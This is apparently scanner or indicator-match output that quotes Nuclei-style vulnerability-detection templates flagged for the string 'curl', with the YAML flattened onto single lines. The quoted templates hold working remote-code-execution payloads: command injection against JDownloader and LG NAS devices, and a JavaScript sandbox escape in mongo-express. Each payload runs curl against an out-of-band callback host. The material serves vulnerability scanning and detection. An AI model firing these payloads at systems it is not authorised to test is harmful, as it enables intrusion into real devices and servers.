jk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw matchers-condition: and matchers: - type: word part: body_1 words: - 'JDownloader' - type: word part: interactsh_protocol words: - "dns"# digest: 4b0a00483046022100e04d22e3c9f98a73a04f2df0ebc25a6f86b2441aab53abde2822f6c4307266d4022100f3582924ba72e0f4076d042a65eb28d5f6ab0a70b9094581c0591d602a8e30f2:922c64590222798bb761d5b6d8e72950" (Indicator: ""curl") in Source: CVE-2023-0297.yaml Observed string: "id: CVE-2019-10758info: name: mongo-express Remote Code Execution author: princechaddha severity: critical description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: Upgrade mongo-express to version 0.54.0 or higher. reference: - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758 - https://nvd.nist.gov/vuln/detail/CVE-2019-10758 - https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215 - https://github.com/CLincat/vulcat - https://github.com/MelanyRoob/Goby classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2019-10758 epss-score: 0.97429 epss-percentile: 0.99934 cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:* metadata: max-request: 1 vendor: mongo-express_project product: mongo-express framework: node.js shodan-query: http.title:"Mongo Express" tags: cve,cve2019,vulhub,mongo,mongo-express,kev,mongo-express_project,node.jshttp: - raw: - | POST /checkValid HTTP/1.1 Host: {{Hostname}} Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}") matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"# digest: 4b0a004830460221008b43b36836d54fe57119d7fbc9c2c7bbf83a5c28c40a75eb6347457778a45bc6022100fe8bb104228123301a28b551a1badd14112e0aa18bce53387295571b79c7b827:922c64590222798bb761d5b6d8e72950" (Indicator: ""curl") in Source: CVE-2019-10758.yaml Observed string: "id: CVE-2018-10818info: name: LG NAS Devices - Remote Code Execution author: gy741 severity: critical description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device. remediation: | Apply the latest firmware update provided by LG to mitigate this vulnerability. reference: - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/ - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818 classification: cve-id: CVE-2018-10818 metadata: max-request: 2 tags: cve,cve2018,lg-nas,rce,oast,injectionvariables: useragent: '{{rand_base(6)}}'http: - raw: - | POST /system/sharedir.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded &uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' - | POST /en/php/usb_sync.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded &act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' stop-at-first-match: true matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: interactsh_request words: - "User-Agent: {{useragent}}"# digest: 4a0a0047304502202b56677fec54d514978c64631558171a8f9588ca78711315dd08583d0ed373340221009dff21f2f19a0772452e60725b3701999ff6c59a8bdb380e982af97876bcb175:922c64590222798bb761d5b6d8e72950" (Indicator: " curl ") in Source: CVE-2018-10818.yaml